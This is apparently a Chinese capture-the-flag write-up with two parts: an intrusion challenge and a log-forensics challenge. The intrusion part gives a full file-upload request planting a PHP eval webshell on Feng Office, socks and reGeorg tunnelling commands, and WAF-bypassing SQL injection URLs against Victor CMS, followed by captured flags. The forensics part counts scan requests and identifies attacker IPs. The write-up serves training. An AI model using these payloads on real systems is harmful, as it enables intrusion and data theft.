企业环境赛

1.访问172.20.12.11 ，看到域名：baidu1.com。修改hosts文件：

```
172.20.12.11 www.baidu1.com
```

访问http://www.baidu1.com

发现是个fengoffice

https://www.exploit-db.com/exploits/46471

2.fengoffice 上传shell：

```
POST /ck_upload_handler.php HTTP/1.1
User-Agent: PostmanRuntime/7.26.5
Accept: */*
Cache-Control: no-cache
Postman-Token: 0098d9fb-dc48-4c75-a771-5e4405b187b8
Host: www.baidu1.com
Accept-Encoding: gzip, deflate
Connection: close
Content-Type: multipart/form-data; boundary=--------------------------
-431218865794850306310332
Content-Length: 247

----------------------------431218865794850306310332
Content-Disposition: form-data; name="upload"; filename="7cmd.php"
Content-Type: application/x-httpd-php

<?php eval($_POST[a]);   ?>
----------------------------431218865794850306310332--
```

上传后访问：http://www.baidu1.com/tmp/15552476987cmd.php

获取webshell

flag.php：flag6{8b98620b7846bd3e88f01db9984bd494}

upload目录下：flag5{39c8e9953fe8ea40ff1c59876e0e2f28}

2.建立socks5代理：

```
./ew_for_linux64 -s ssocksd -l 1157
```

内网：

```
http://192.168.1.191/
```

是个Victors cms，存在sql注入漏洞：https://reportcybercrime.com/victor-cms-1-0-cat_id-sql-injection/

有安全狗waf，绕过：https://xz.aliyun.com/t/7572

查数据库：

```
http://192.168.1.191/category.php?cat_id=1/*!union*//*!*/--
+1%0A%0ASELECT%201,2,1,concat(/*!schema_name*/),5,6,7,8,9,10%20/*!from*/%20inform
ation_schema.schemata--+*/%23
```

获取flag数据库名

查表：

```
http://192.168.1.191/category.php?cat_id=1/*!union*//*!*/--
+1%0A%0ASELECT%201,2,1,concat(/*!table_name*/),5,6,7,8,9,10%20/*!from*/%20informa
tion_schema.tables%20where%20table_schema=0x666C6167--+*/%23
```

获取ffff表名

查列：

```
http://192.168.1.191/category.php?cat_id=1/*!union*//*!*/--
+1%0A%0ASELECT%201,2,1,concat(/*!column_name*/),5,6,7,8,9,10%20/*!from*/%20inform
ation_schema.columns%20where%20table_schema=0x666C6167%20and%20table_name=0x66666
666--+*/%23
```

获取name列名

查数据：

```
http://192.168.1.191/category.php?cat_id=1/*!union*//*!*/--
+1%0A%0ASELECT%201,2,1,concat(/*!name*/),5,6,7,8,9,10%20/*!from*/%20flag.ffff--
+*/%23
```

获取flag：flag8{ab11646b848f5b2f2f841a0140bc9640}

3.稳定一点的代理：https://github.com/sensepost/reGeorg

```
python reGeorgSocksProxy.py -p 9999 -u
http://www.baidu1.com/tmp/tunnel.nosocket.php
```

数据分析赛

关卡1：黑客攻击此服务器所使用的三个IP分别是什么

首先查看/var/log/cron文件发现定时任务，反弹shell到一个外网IP：23.83.247.111

然后在/var/log/secure文件里发现，192.168.12.145在爆破ssh

接下来在/etc/httpd/logs/access_log-20201030文件里发现，192.168.31.58在对网站进行目录扫描

所以得到答案为`192.168.12.145 192.168.31.58 23.83.247.111`

关卡2：跳过

关卡3：要知道黑客进行目录扫描的次数

我们通过查看`/etc/httpd/access_log-20201030`的文件可以看到有许多`HEAD`请求，看规律可以发现应该是黑客进行目录扫描发的请求了。

```
cat /etc/httpd/logs/access_log-20201030 > test.txt #为了方便先将请求内容放到test.txt文件
grep HEAD test.txt | wc #然后配合grep和wc计算HEAD请求的次数，从而知道问题的答案
```

得到次数是263386